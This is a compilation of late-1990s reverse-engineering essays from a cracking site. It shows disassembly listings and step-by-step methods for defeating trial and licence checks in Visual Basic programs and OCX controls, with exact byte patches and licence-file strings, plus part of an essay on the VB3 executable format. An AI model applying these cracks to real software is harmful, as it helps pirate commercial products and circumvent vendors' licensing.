:00444877 BAB81B4100 mov edx, 00411BB8 ;<-----"Your evaluation period..."
:0044487C 8D4DEC lea ecx, dword ptr [ebp-14]
...
* Referenced by a Jump at Address:0044486B(C)
|
:00444BCA 680C1C4100 push 00411C0C ;<---here 'You have % days left...'
:00444BCF 50 push eax
As you can see after this strange call the value in EAX is compared and DL is set to 1 if eax different of 0202BFDA
if you are a registered user just go on, else check how many days are left , there are 2 checks for this, the first one will
check if you can still use blackwidow and set it up, and the second one will decide which nag should pop up. The
mem location that stores the number of days left (in my computer) is 45E028. So let's crack.... permanently,
remember the strange call just before the registered user check? Now check that address (45b200 in my computer)
and you'll see 9 calls to this routine, now write down those 9 addresses and check each one of these 9 locations. Can u
see that after any of these call eax is compared with 202BFDA and that after that there is a 'setne dl'.
Look!
:0044471E E8DD6A0100 call 0045B200
:00444723 33D2 xor edx, edx
:00444725 3DDABF0202 cmp eax, 0202BFDA
:0044472A 0F95C2 setne dl
so to permanently crack this one you'll just need to change all 'setne <reg>' that appear after the call to 'sete <reg>'.
The 'sete <reg>' opcode is OF94XX". It's done. Now let's check _bwds.exe, this is the executable that
_blackwidow.exe uses to download the files, and this exe also checks for the registered user (if you aren't a registered
user you'll only be able to download a maximum of 50 files) and uses the same routine to do it, so just search for the
value that is compared with eax after each call (0202BFDA), open your eax editor and search for 'DABF0202' and
you will find two occurrences now just change the 0F95 bytes to 0F94. And you will be able to download as many

http://www.instinct.org/fravia/intrud.htm (4 of 5) [2/7/2001 3:17:56 PM]


How to Crack vb5

files as you want.


It's CRACKED, now just register with some fake serial.

I've tried this 'live string search' approach in some others VB5 proggies and worked fine. Currently i'm doing a
reference for Msvbvm50.dll functions (i'll try to release it in a couple of weeks) so if you have reversed any of those i
would apreciate you could send it to me, to devils_cave@hotmail.com.
(c) intruder mexelite97 All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 8

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/intrud.htm (5 of 5) [2/7/2001 3:17:56 PM]


Your_title

OCX Control Highlights


Licensing schemes Visual Basic

by +PopJack , 15 January 1998


very slightly edited by fravia+
f Courtesy of Fravia's page of reverse engineering
I'm very happy to present you this VERY USEFUL essay by +Popjack, a good teacher for visual basic matters (we host his
very good Reverse Engineering VBX Custom Controls essay) that to-day will teach us in an extremely clear manner how easy
it is to reverse OCX controls licensing systems. This will not wonder my readers: it is a well know reversing paradox: the more
overbloated the language used for a protection scheme, the more easy it is to tackle it "from underneath" and cut its belly with
our razor sharp assembly knifes! Here is +Popjack's letter to me:
Well Fravia+, as promised here comes my essay on OCX controls. It really
f doesn't bring any new approaches. It took time but it's difficult to
find the time to do everything that we want...I mean all that stuff
about listening to music or reading the classics.
Well, this is sadly very true... until we'll have a more mature society, where each one will be encouraged to study and work on
whatever he feels like instead of being only compelled and pushed to turn its silly guinea-pig wheel in order to consume (and
waste) useless gadgets, I believe that we'll have to devise some tricks to "reverse" the trend and take (at least in part) control
of the time we need... and eliminating the useless TV-watching seems to me the most easy trick of the lot :-)
There is a crack, a crack in everything
f
That's how the light gets in
(x)Beginner (x)Intermediate ( )Advanced ( )Expert
In this essay my focus is more on the general concepts of ocx licensing control and less on code listings. So I want to give away
Rating FOR FREE some of my humble knowledge. I write this hoping that my readers will not just copy what they find in here, I hope
that many will start working using these basis so that we'll all be able to use their knowledge to go further and further on our
beautiful paths. Remember the old chineese/ORCish saying: Don't give a man a fish. Teach him how to fish instead.

Title OCX Control Highlights


Written by +PopJack

OCX controls have replaced their VBX counterparts as software


components to be added to the main applications. The reason is
that OCX controls can use 32 bit technology while VBX controls
can't.
These controls need to be registered so that the OS can be aware of
them. That's why they have all some self registering functions built
inside. But this doesn't mean we can use them whenever we want to.
For example a control can be used as a part of an application in some
machine but will not load in the user programming environment (Visual
Intro
Basic for instance) because a licensing scheme, used by the control,
prevents him to do so.
The reason is that when we try to use a control that uses a licensing
procedure it will try to find some specific information in our machine.
If it is not there the control doesn't get loaded.
During the application execution the control can be loaded because
the application carries inside the necessary info to give to the control
and allow its loading.
In brief, let's say that the application generates some lic info or
lic key (look for RequestLicKey, CreateInstanceLic and GetLicInfo in
the target's control).

http://www.instinct.org/fravia/popja_51.htm (1 of 6) [2/7/2001 3:18:01 PM]


Your_title

Softice: our main tool


W32dasm: very useful indeed, although not always needed
Hexeditor : I still use Hexpert, but there are very good alternatives (not used here)
Tools Visual Basic: I am using here VB4 16 bit
Required
~
http://www.soe.bcit.bc.ca/ocx/
http://www.videosoft.com
Program
History

We will see now two examples.

Example1: Using a LIC file


Target: Fountain.ocx
Where to find: http://www.soe.bcit.bc.ca/ocx/
When we place the control in a form, an ocx malfunction pops a
nagscreen which makes one loose its concentration.
Very disturbing...
So we need to find out what went wrong.
Let's start with a bpx dialogbox (just to start fishing).
We load the control in the Visual Basic environment and bang...
We pop into Softice at 0001.1677:

:0001.1637 C8280000 enter 0028, 00


:0001.163B 1E push ds
:0001.163C 8ED8 mov ds, ax
:0001.163E 9AF5000000 call OC25.Ord{0985h}
:0001.1643 8EC2 mov es, dx
:0001.1645 8BD8 mov bx, ax
:0001.1647 26FF7708 push word ptr es:[bx+08]
:0001.164B 0E push cs
:0001.164C 68A209 push 09A2 'Fountain.lic
:0001.164F 0E push cs 'Fountain Fill OCX Copyright
:0001.1650 686209 push 0962

* Possible Reference to Dialog: DialogID_0064, CONTROL_ID:00FF, ""


|
:0001.1653 6AFF push FFFF
:0001.1655 9AFFFF0000 call OC25.Ord{027Eh}
:0001.165A 0BC0 or ax, ax 'If valid lic file then ax=1
:0001.165C 7523 jne 1681 'and we jump above the nag

:0001.165E 68CF00 push 00CF 'nag screen procedures start


here
:0001.1661 50 push ax
:0001.1662 50 push ax
:0001.1663 8D46D8 lea ax, [bp-28]
:0001.1666 16 push ss
:0001.1667 50 push ax
:0001.1668 9AFFFF0000 call OC25.Ord{011Bh}
:0001.166D 8D46D8 lea ax, [bp-28]
:0001.1670 16 push ss
:0001.1671 50 push ax
:0001.1672 9AFFFF0000 call OC25.Ord{0373h} 'bpxing the dialogbox
:0001.1677 8D46D8 lea ax, [bp-28] 'We have landed here!
:0001.167A 16 push ss
:0001.167B 50 push ax

http://www.instinct.org/fravia/popja_51.htm (2 of 6) [2/7/2001 3:18:01 PM]


Your_title
:0001.167C 9AFFFF0000 call OC25.Ord{0198h}

|
:0001.1681 B80100 mov ax, 0001
:0001.1684 1F pop ds
:0001.1685 C9 leave
:0001.1686 CA0400 retf 0004

Scrolling up the code we soon find the location where the decision
is taken. The dead list doesn't give us enough info so we place a
bpx at 0001.164B to trace from that point on and understand the jne
at 0001.165C (yes, we felt it, but we want to understand).
After doing some tracing around this point we see that after all the
problem is that a license file called Fountain.lic with a string
inside seem to be curiously missing.
Ok we can take care of that, in order to avoid further interruptions
in our programming and/or reversing activities,by preparing a simple
LIC file with the required string.
Make a note of it: this call to OC25.dll Ord{027Eh} is found in
many controls that implement such simple licensing scheme.
The reason is that this procedure is generated automatically by the
control building wizard. Of course the programmer can (and should)
override such a simple verification in order to make things at least
a little harder.
Anyway I've used this approach of searching the dead list for this
call and I can tell you that it works. Simply modify the routine
0x27E inside OC25.dll (keep a 'sound copy of it as OC25.ori) in
order to get always ax=1 as a return value and all these targets
won't bother you anymore with OCX with their funny license files.

Example2: Using the registry or a lic file


Target: Vsocx.ocx
Where to find: http://www.videosoft.com

Ok, let's install the OCX control using the setup prog included in the
evaluation pack.
Now in the VB environment we try to load the control using the Custom
Control menu dialog.
The control appears in the control toolbox. Everything seems to be
fine...
When we place one of the 3 controls that come within vsocx we get a
nag screen telling us where to call to get a registered version.
That's a bug of course, because this screen is supposed to be shown
T only when we click the about button in the properties window.
So we are here to fix this misplaced call.
H As this window does not seem to be a messagebox, so we place a bpx
dialogbox and wait to see what we fish.
E Unload the control clearing the checkbox on the custom controls menu
and check it again to get it again in the controls toolbox.
We try to place the control in the form and ..bang! into Softice we
go.
E After some F12's we find ourselves in vsocx16.

S * Referenced by a CALL at Address:0002.1EC7


|
S :0002.23D6 B82D24
:0002.23D9 C8280000
mov ax, SEG ADDR of Segment 0005
enter 0028, 00
:0002.23DD 1E push ds
A :0002.23DE 8ED8 mov ds, ax

http://www.instinct.org/fravia/popja_51.htm (3 of 6) [2/7/2001 3:18:01 PM]


Your_title
* Possible Reference to Dialog: DialogID_01F4
Y |
:0002.23E0 68F401 push 01F4
:0002.23E3 6A00 push 0000
:0002.23E5 6A00 push 0000
:0002.23E7 8D46D8 lea ax, [bp-28]
:0002.23EA 16 push ss
:0002.23EB 50 push ax
:0002.23EC 9AFFFF0000 call OC25.Ord{011Bh}
:0002.23F1 8D46D8 lea ax, [bp-28]
:0002.23F4 16 push ss
:0002.23F5 50 push ax
:0002.23F6 9A24BF0000 call OC25.Ord{0373h}
:0002.23FB 48 dec ax 'We land here!
:0002.23FC 751E jne 241C
:0002.23FE C45E06 les bx, [bp+06]

The code at this place doesn't feel interesting so we scroll up to


the begining of this rotine where we place a bpx at the very beginning,
in order to use the stack command next time we come by.
Make a note of it: Call OC25.Ord{011Bh} followed by call OC25.Ord{0373h}
are used in about boxes.
Once more we unload and load the control into the VB toolbox; place the
control in a form... bum!
Back into Softice, at our own breakpoint.
Now we do a stack command.
Note that from the dead list we also get the caller!
This is where we are:

:0002.1EAC FF7608 push word ptr [bp+08]


:0002.1EAF 56 push si
:0002.1EB0 9AD05C5519 call 0001.5CD0
:0002.1EB5 833E520D00 cmp word ptr [0D52], 0 'our friends "compare"
:0002.1EBA 750E jne 1ECA 'and "jump if true"
:0002.1EBC C706520D0100 mov word ptr [0D52], 1
:0002.1EC2 FF7608 push word ptr [bp+08]
:0002.1EC5 56 push si
:0002.1EC6 0E push cs
:0002.1EC7 E80C05 call 23D6 'This call starts
'the nag screen
:0002.1ECA 1F pop ds
:0002.1ECB 5E pop si
:0002.1ECC C9 leave
:0002.1ECD CA1000 retf 0010

What controls the unwanted call?


Obviously the cmp word ptr [0D52]
Is it written somewhere during the loading of the control?
Let's find out with a bpm ds:0d52
Unload and load the control bl bl bl...
Aha! Now this is interesting...

:0001.B9C6 B837A6 mov ax, SEG ADDR of Segment 0005


:0001.B9C9 C8080000 enter 0008, 00
:0001.B9CD 1E push ds
:0001.B9CE 8ED8 mov ds, ax
:0001.B9D0 833E520D00 cmp word ptr [0D52], 0000
:0001.B9D5 757D jne BA54 <------- HERE! :0001.B9D7
6A00 push 0000 :0001.B9D9 6A01 push 0001 :0001.B9DB 1E push ds :0001.B9DC 683204 push

http://www.instinct.org/fravia/popja_51.htm (4 of 6) [2/7/2001 3:18:01 PM]


Your_title
0432 :0001.B9DF 8D46FC lea ax, [bp-04] :0001.B9E2 16 push ss :0001.B9E3 50 push ax
:0001.B9E4 9AFDB90000 call SHELL.REGOPENKEY :0001.B9E9 0BD0 or dx, ax :0001.B9EB 7537
jne BA24 :0001.B9ED FF76FE push word ptr [bp-02] :0001.B9F0 FF76FC push word ptr
[bp-04] :0001.B9F3 0E push cs :0001.B9F4 6885A8 push A885 'Licenses :0001.B9F7 8D46F8
lea ax, [bp-08] :0001.B9FA 16 push ss '87CFB907-3C1D-11d0- :0001.B9FB 50 push ax
'8ACC-44455354000 :0001.B9FC 9AFFFF0000 call SHELL.REGOPENKEY :0001.BA01 0BD0 or dx,
ax 'ax="dx=0" means no errors :0001.BA03 7514 jne BA19 :0001.BA05 B80100 mov ax, 0001
:0001.BA08 A3520D mov word ptr [0D52], ax 'Flag don't show nag :0001.BA0B A3500D mov
word ptr [0D50], ax :0001.BA0E FF76FA push word ptr [bp-06] :0001.BA11 FF76F8 push
word ptr [bp-08] :0001.BA14 9A20BA0000 call SHELL.REGCLOSEKEY | :0001.BA19 FF76FE
push word ptr [bp-02] :0001.BA1C FF76FC push word ptr [bp-04] :0001.BA1F 9AFFFF0000
call SHELL.REGCLOSEKEY Look! The control is trying to open a registry key. If not
found it proceeds to the next check. So we place a bpx on location 0001:B9ED and
trace from that point on. Ok, at B9FC we are done. Like +ORC says its more than
enough, thank you. We edit the registry and add a key
87CFB907-3C1D-11d0-8ACC-44455354000 under HKEY_CLASSES_ROOT\Licenses (or we can
prepare a reg file with this key). Make a note of it: License info resides in
HKEY_CLASSES_ROOT\Licenses But what happens if this check fails? Look at what we have
next to the above snippet: | :0001.BA24 833E520D00 cmp word ptr [0D52], 0000
:0001.BA29 7529 jne BA54 :0001.BA2B 9AB7A30000 call OC25.Ord{0985h} :0001.BA30 8EC2
mov es, dx :0001.BA32 8BD8 mov bx, ax :0001.BA34 26FF7708 push word ptr es:[bx+08]
:0001.BA38 1E push ds :0001.BA39 684B04 push 044B 'vsocx.lic :0001.BA3C 1E push ds
'VideoSoft vsOcx :0001.BA3D 683B04 push 043B :0001.BA40 6AFF push FFFF :0001.BA42
9AFFFF0000 call OC25.Ord{027Eh} :0001.BA47 0BC0 or ax, ax :0001.BA49 7409 je BA54
:0001.BA4B B80100 mov ax, 0001 :0001.BA4E A3520D mov word ptr [0D52], ax 'Flag don't
show nag :0001.BA51 A3500D mov word ptr [0D50], ax :0001.BA54 B80100 mov ax, 0001
:0001.BA57 1F pop ds :0001.BA58 C9 leave :0001.BA59 CA0400 retf 0004 Seeing this I
understand what +ORC was speaking about when he talked about feeling the code. Can
you see (feel) it? :0001.BA42 9AFFFF0000 call OC25.Ord{027Eh} <-- our old friend 27E
It is the string that is supposed to be found in a valid license file! Remember what
I said earlier about the OC25.Ord{027Eh} call? Some other controls I found use
instead "Cinderella" protection schemes that can be pinpointed with the usual
approach of GetSystemTime and related API calls.

OCX controls seem to be poorly protected from what we have


seen here.
There are of course several ways to pinpoint these components.
Instead of showing you a way to get along with a specific control
I want to give you a general idea of the concepts regarding ocx
licensing control from the point of vue of a +HCU study.
We will see in the near future more interesting things to work on,
Final
Notes like digital signatures of activeX controls, which are dowloaded
by all web browsers when they show some html pages.

Thanks to +ORC and the +HCU fellows, who taught me 99% of what
I know. Well... I've also learned something by myself I must say.
I thank again Fravia+ for maintaining his site with such powerful
information, and a special thanks goes to +ReZiDeNt for his help.

(c) +PopJack 15 January 1998


I wont even bother explaining you that you should BUY these target programs if you intend to use them for a longer period
Ob duh than the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all:
you'll find it of course on any good Warez site, complete and already regged, farewell.

http://www.instinct.org/fravia/popja_51.htm (5 of 6) [2/7/2001 3:18:01 PM]


Your_title

You are deep inside fravia's page of reverse engineering, choose your way out:

way out Back to Visual Basic


homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/popja_51.htm (6 of 6) [2/7/2001 3:18:01 PM]


smartc_2.htm Cracking VB5 Programs with SmartCheck 5.0

"Smartchecking" VB Programs
Yet another stupid protection unearthed Visual Basic reversing

25 February 1998 by Hs2L


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
Well, I always said this: Smartcheck is the 'final cracker
weapon'. You may want to have a look at my own essay An
interesting tool: Numega's Smartcheck, written in November
1997, and at Snatch's essay: An interesting tool: Numega
fra_00xx Smartcheck 5.0, written in October 1997
980225 Hs2L's essay is a nice work and will have quite some interest
Hs2L for beginners AND for anyone among my readers that still
1000 does not use smartcheck. I like especially the list of
OT alternative reversing methods at the end. I believe that it
VB would ALWAYS be a good idea, writing an essay, to
compare the 'innovative' solution you propose with the
'traditional' alternative cracking methods you know of.
And yes, by all means, use Smartcheck... and not only for
visual basic programs... you won't regret it!
Enjoy!
There is a crack, a crack in everything That's how the
light gets in
Rating (x)Beginner ( )Intermediate ( )Advanced ( )Expert

This is an easy crack using the powerful SmartCheck 5 VB debugger to unearth hidden code the programmer doesn't
want you to see. Our target is VB Project Analyzer

An example of VB Cracking using SmartCheck


(as opposed to Softice or IDA)
Written by Hs2L

Introduction
VB Project Analyzer is a Visual Basic code analyzer-not too usefull for
most of us but a good demonstration of a bad protection scheme implemented
by a greedy programmer

Tools required
SmartCheck 5.0 - This is the only tool you'll (ever) need.

http://www.instinct.org/fravia/smartc_2.htm (1 of 6) [2/7/2001 3:18:06 PM]


smartc_2.htm Cracking VB5 Programs with SmartCheck 5.0

Target's URL/FTP
ftp://kgb.quarta.com/NTUtil/NuMega/smchk50.exe http://www.numega.com www.aivosto.com/vb.html

Essay
I dont think too many reverse engineers would find this target useful.
This is mainly to demonstrate how fantastic Smartcheck is rather then
how to undo a certain protection scheme.
For those who don't have smartcheck 5.0, I suggest you download it NOW
and crack it using Softice (see Snatch's essay).
This Visual Basic runtime debugger and flow analyzer has to be seen to be
believed. After having used this tool, I just hope more people make their
stupid shareware in VB 5 so we can reverse all of their code, automagically,
using this wonderful tool : )
You actually get ALL the code events, even COMMENTED, with their ORIGINAL
names!!! Just load your target into Smartcheck and sit back and watch it
generate event after event!
I wish you luck in trying to get this tool from NuMega's web site
They're starting to become difficult to deal with. I suggest you do an
FTP search.
Well, that's enough about smartcheck

A friend had downloaded this target and I just copied the compressed
file onto my disk. The program is , as the name suggests, a Visual Basic
code analyzer.

I'm assuming you have SmartCheck 5 and have it configured to get maximum
events. Here are the steps:
After loading Project Analyzer and BEFORE beginning, click on settings
from the Program menu. Click on the "Reporting" tab and enable everything
except "Mouse movement from OCX".
Under the "File to check" tab, enable everything.
Under "Error detection" in "Type of errors to check for" check everything
Check "Save settings" before exiting.
When you run the program, select "Show all events" from the "View" menu
as well as "Arguments" and "Sequence Numbers"

After installing, when you run the program you see a simple
nag screen with a edit box with the words "Guess..." in it. Obviously
this is the place where you enter the registration code. Also, there's an
option which allows you to analyze multiple project files. This is
called Super Analyzer and requires a seperate registration.
(shareware programmers never get too greedy) This too, displays a nag.
Now that we've seen the program we can load SmartCheck with the program.
So once we're in, SC begins dishing all the code as it runs the program
(if you have the setting set for Show all events, you've got an incredible
quantity of code right about now) so now the nag screen is displayed in all
its glory.
For now press OK and clear it. Go to Project Analyzer's menu and select

http://www.instinct.org/fravia/smartc_2.htm (2 of 6) [2/7/2001 3:18:06 PM]


smartc_2.htm Cracking VB5 Programs with SmartCheck 5.0

Add In-->Super Analyzer. A second nag screen asking you to register Super
Analyzer pops up. Now, near the end of the code listing you should see
something interesting

FreeFile(VARIANT:Missing) returns Integer:1


Open(String:"C:\projectana\superpa.lic",Integer:1,long:-1)
Visual Basic Runtime Error 53: File not found
Close(Integer:1)
Super_About (form) create

What's happening here? You have to know a minimum amout of Visual Basic
to understand this code

FreeFile(VARIANT:Missing) returns Integer:1

---->Free file returns a filenumber that isn't


in used. It is an integer and can be used
to open files.In this case the Number returned
is 1

Open(String:"c:\projectana\superpa.lic",
----> Translated in Basic this means:

Open "c:\projectana\superpa.lic" for input as #1

So, its looking for a file called superpa.lic


(/projectana is the directory where I installed VBPA)
After this, Smartcheck returns a runtime error stating that the file
couldn't be opened.
After this we see

Super_About (form) create


----> The nag screen is created

The above code has "Protection routine" written all over it. Essentially
whats happening is, when you load Super Analyzer, the program attempts to
open a license file. If it doesn't find one, it loads the nag screen.
So, we can safely assume that when the registration code is correct,
a license file is automatically generated. So, now, we create a superpa.lic
file in the Project Analyzer Directory. We leave it as an empty file
and restart Project Analyzer through Smartcheck. This time when we try to
open the Super Analyzer, the nag screen still shows up and some new code
in Smartcheck.

After succesfully opening the Superpa.lic file we see this:

LineInputNum(Integer:1)
Visual Basic Runtime Error :Input past end of file

So now, Project Analyzer (PA for short) is reading information sequentially


from the file and since the file is empty, we get an error message

http://www.instinct.org/fravia/smartc_2.htm (3 of 6) [2/7/2001 3:18:06 PM]


smartc_2.htm Cracking VB5 Programs with SmartCheck 5.0

"Input past end of file"

That means, PA is not just seeing if the license file exists but checking
the contents as well. That means we'll have to fill the contents of
"SuperPA.lic" with something.

Now comes the incredible part. Just look at the line below in the
Smartcheck code and you should see something like this:

LCase(VARIANT:By Ref String:"norppa")

What does this mean? Yes, you guessed it. It's the string that's supposed
to be compared with what's in the license file! What does this mean?
It means we just put "norppa" on the first line in the license file and
it becomes valid!! Go ahead and try it. You are now the proud owner of a
fully registered Super Analyzer addin : )

Now lets try the same thing with the Project Analyzer itself:

Wait for the nag screen to show up and then in the Smartcheck code, do a
search for "lic". You should end up in a series of string manipulations.
Scroll down until you see something like the following:

RTrim$(String:"Lic") ---->removes spaces to the right of "Lic"


RTrim$(String:"Project") these aren't important
Len(String:"Lic") returns LONG:3

...some irelevant stuff

OnError(long:-1) ----> Used for error handling


FreeFile(VARIANT:missing) returns integer:1
Open(String:"c:\projectana\project.lic",Integer:1,Long:-1)fails
Close(Integer:1)
About (Form) created

So, now we know what to do. We simply create another license file,
this time with something written in it. So we make a "project.lic"
file and in the first 5 lines put "crap"

We fire up SmartCheck again and get this code:

Open(String:"C:\projectana\project.lic",Integer:1,Long:-1,long:1)
Close(Integer:1)
Freefile
Open
LineInputNum(Integer:1)
LCase(VARIANT:ByRef String:"crap") --->converts to lower case
LCase(VARIANT:ByRef String:"Tikannakit")
LCase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Sibelius")
Lcase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Ryppyotsa")

http://www.instinct.org/fravia/smartc_2.htm (4 of 6) [2/7/2001 3:18:06 PM]


smartc_2.htm Cracking VB5 Programs with SmartCheck 5.0

Close(Integer:1)
About(Form) created

Now, PA is checking if the file exists, then opening it a second time to


input sequentially.Now this part is particularly interesting:

LCase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String:"Tikannakit")
LCase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Sibelius")
Lcase(VARIANT:ByRef String:"crap")
LCase(VARIANT:ByRef String: "Ryppyotsa")

This looks like a direct case-insensitive string comparison which can only
mean its comparing the contents of the license file with what it's supposed
to contain. So, we create the license file as we did above, first line
being "Tikannakit" and second being "Sibelius" the third is "Ryppyotsa".
With Smartcheck cracking this is almost a joke! With our new license file
we simply load up PA again and this time we are fully registered!

Interestingly enough, if we attempt to analyse some Visual Basic code with


SmartCheck running, we can clearly see just how the analyzer goes about
reading and intepreting the files. An invaluable bonus to its usage as a
reversing tool.

Inside this target there are a couple of other add-in tools (Graph and Printer)
that also requre seperate registration (greedy programmers never learn)

For these procedures, as you will see, just work same as above.
1) Search for "lic"
2) Find the name of the license file to create.
3) Create it and add some junk in it
4) Run the program and see what it really needs

That's about it. I hope you understood this. You could have cracked this
of course in many different ways:
1) by scanning the code in the buttonclick event for the nag
screen to see how it processes the registration code you entered and
checks it against the real one but Smartcheck solves the problem in a much
easier way.

2) using filemon/regmon/vxdmon in order to check the manoeuvres of


your target (and identifying that way the various *.lic the target was
searching) but -again- Smartcheck solves the problem in a much easier
way.

3) You might have done it following Razzia's excellent tutorial on


cracking VB apps by setting break points and patching the runtime file but
that was in the "pre-smartcheck" era : ) Now that this outstanding tool is
available, you'll never have to think about even touching softice or IDA
again.

http://www.instinct.org/fravia/smartc_2.htm (5 of 6) [2/7/2001 3:18:06 PM]


smartc_2.htm Cracking VB5 Programs with SmartCheck 5.0

Final Notes
I personally don't know anyone who would purchase Project Analyzer in his
right mind: The program costs over $100 and you have moreover to register
any add-in tools seperatley.
On top of this, just check out the bug list after having installed this program!
I wouldn't distribute a freeware program that has so many bugs!
Guess whoever made the program didn't have SmartCheck 5.0 to debug it!
(If (s)he had used SmartCheck, neither the protection nor the program
itself would have been so weak! : )

Send your comments and insults to shivanan@ens.lk

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use its not allowed
functionalities (use as opposed to study them). Should you want to STEAL this software instead, you don't need to crack
its (pathetical) protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Visual Basic reversing

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/smartc_2.htm (6 of 6) [2/7/2001 3:18:06 PM]


dukeess.htm Inside the VB3 .EXE

Inside the VB3 .EXE


Visual Basic

8 March 1998 by _Duke_


Courtesy of Fravia's page of reverse engineering
A fundamental essay by Duke, that has the huge merit of setting
the point for visual basic reverse engineering where it belongs:
inside its elements (tokens) its forms and controls. Reading this
you will be tempted to start a marvellous journey inside all visual
basic programs... by all means do it, and bring back to us your
discoveries... enjoy!
There is a crack, a crack in everything That's how the light
gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

An exploration of the inner workings and structure of the Visual Basic 3 Executable file

Inside the VB3 .EXE


by _Duke_

Introduction
The following essay is not intended to ba a "How to crack VB programs" essay but I will show you exactly HOW a VB program is
protected from de-compilers. It is important that you have a working knowledge of programming using Visual Basic in order to
understand the essay and more importantly, to follow the source code of the programs you de-compile. Although this essay covers an
older version of VB, there are many programs out there which have yet to be cracked. It also serves as a starting point to
understanding the later versions.

Tools required
1) Visual Basic 3- For Compiling our own test programs.
2) A Good Hex Editor- Use one that will let you Binary Compare two files and display the differences.
3) SoftIce- Of Course!
4) MAKE_MAK.EXE or DoDi's VBOPT to "Protect" our programs.
5) A VB DeCompiler. (Is there anything but DoDi's??!!)

Essay
As many people have discovered, a VB program isn't really a 'Program' in the traditional sense of the word. Visual Basic is an
'Interpreted' language. What this means is that the program is stored in a 'higher level' language than the machine's native code. It is

http://www.instinct.org/fravia/dukeess.htm (1 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE
the job of the interpreter to read back and execute this higher language AT RUNTIME. Most other languages (Such as C) are stored
in native code and need nothing to translate them. In case you didn't know, the VB interpreter is VBRUN300.DLL (No wonder all
the VB programs need it to run!!) This is the REAL program that is running. Any Softice breakpoints you set for the 'standard'
Windows routines will ALWAYS return you to VBRUN not to the EXE! The interpreter is reading the contents of the EXE,
translating the TOKENS, and executing various subroutines to perform the desired task. A VB program, therefore, cannot be
disassembled by the standard tools. Softice is pretty much useless here unless you like to follow the spaghetti inside VBRUN. The
program can however be de-compiled back into VB source code thanks to DoDi's VBDIS. It is available on the net as shareware but I
STRONGLY recommend you get (and pay for, its worth it) the full version if you are serious about R-E'ing VB programs. This
decompilation is possible thanks to Micro$oft's including information in the executable that is not needed for the program to run.
Now why would they do that?
The VB executable is made up of the same basic parts as other windows programs:
DOS HEADER: This is provided for backward compatibility of the EXE file format.
STUB PROGRAM: Checks if Windows is running. Provides an error message if the
program is being run from DOS.
WINDOWS HEADER: This section provides important information about the EXE to
the operating system. Some of the more important locations are:
OFFSET (hex) FUNCTION
---------------------------------------------------------
14 Initial value of CS:IP
1C Number of Segments
22 Relative offset to Segment Table (typ. 40)
24 Relative offset to Resource Table
3E The expected Windows version
***Note About Hex Editors: There seems to be a difference in opinion as to the 'START'
of a program. Some editors call the start byte 00, while others consider it byte 01.
If the addresses you are looking at just don't seem right, try shifting 1 byte to the
right or left.
For a good reference on the Windows Header, look in the WIN SDK help file WIN31WH.HLP and look under "Executable-File
Header Format"
A short VB program (1 form/module) will typically contain 4 entries in it's segment table referencing 3 segments (one can be
ignored). One of the segments, usually located just after the Windows Header, is a single CALL instruction which transfers
control to the interpreter. THIS IS THE ONLY CODE IN THE VB PROGRAM THAT RUNS!!!!!! The other segments point to the
Tokens themselves and a section which specifies how the tokens are structured into the various Subs and Functions.
Resources are 'packages' of data in a pre-defined format which a program will access. Examples of resources are Icons, Fonts, and
Menus. In a VB program, they are also used to reference Forms and other 'Data' sections of the program.

Some Hands On
** For this section of the lesson, you will need CALC.EXE compiled from the samples that come with VB3, it should compile to
9020 bytes. Or download it here within +Fravia's page.
Start your favorite Hex Editor and load CALC.EXE. Examine the following sections as I describe them. I have found it easiest to
print the whole file in hex starting from the windows header and use colored markers to see what the sections 'look' like.
0000-003F DOS HEADER- Note the 06 @ 003D; This is the start page of the Windows
Header.

0200-049F Stub Program- This code only runs from DOS.

0600-07FF Windows Header- Lets look more closely:

http://www.instinct.org/fravia/dukeess.htm (2 of 10) [2/7/2001 3:18:15 PM]


dukeess.htm Inside the VB3 .EXE

0614- Initial CS:IP = 10 00 01 00


This translates to 10 bytes past segment 1

061C- # Segments = 04 00

0622- Offset to Start of Segment Table = 40 00


Segment table starts @ 0640, segments are 4 words long

Segment 1 @ 0640 - 08 00 19 00 50 1D 19 00
This means:
The segment is located @ 0800
The segment is 0019 bytes long
1D50 - Flags (more later)
The segment need 0019 bytes of memory

Segment 2 @ 0648 - 00 00 00 00 11 0C 02 00
Ignore this segment definition

Segment 3 @ 0650 - 0F 00 50 02 10 1D 50 02
This segment @ 0F00 is the 'Sub Structure Table'

Segment 4 @ 0658 - 09 00 D0 50 10 1C D0 50
This segment @ 0900 is the Tokens (the 'Code')

0624- Offset to Resource Table = 68 00


Table starts @ 0668:

Word @ 0668 = 08 00 - This is rscAlignShift, ignore it for now


First a resource's Type is defined, then all of the resources of that
type follow:

First Type definition @ 066A - 0E 80 01 00 00 00 00 00


This means:
The TypeID is 800E (A Group Icon)
There is 1 resource defined
*The last 2 words are reserved

Then the resc. is defined @ 0672 - 12 00 01 00 30 1C 01 80 00 00 00 00


This means:
The resource starts on Page 0012
It is 0001 Pages long
1C30 is more Flags
The resource's ID is 8001
*Again, the last two words are reserved

The next type definition is @ 067E - 03 80 01 00 00 00 00 00


'There is 0001 resource of type 8003 (Icon)'

Then the resource definition @ 0686 - 13 00 03 00 30 1C 01 80 00 00 00


00
The resource starts at page 0013 and is 3 pages long

The next type definition is @ 0692 - 0A 80 05 00 00 00 00 00


'There are 0005 resources of type 800A (Data)'
* There are actually 4 resources, the 3rd is skipped

http://www.instinct.org/fravia/dukeess.htm (3 of 10) [2/7/2001 3:18:15 PM]


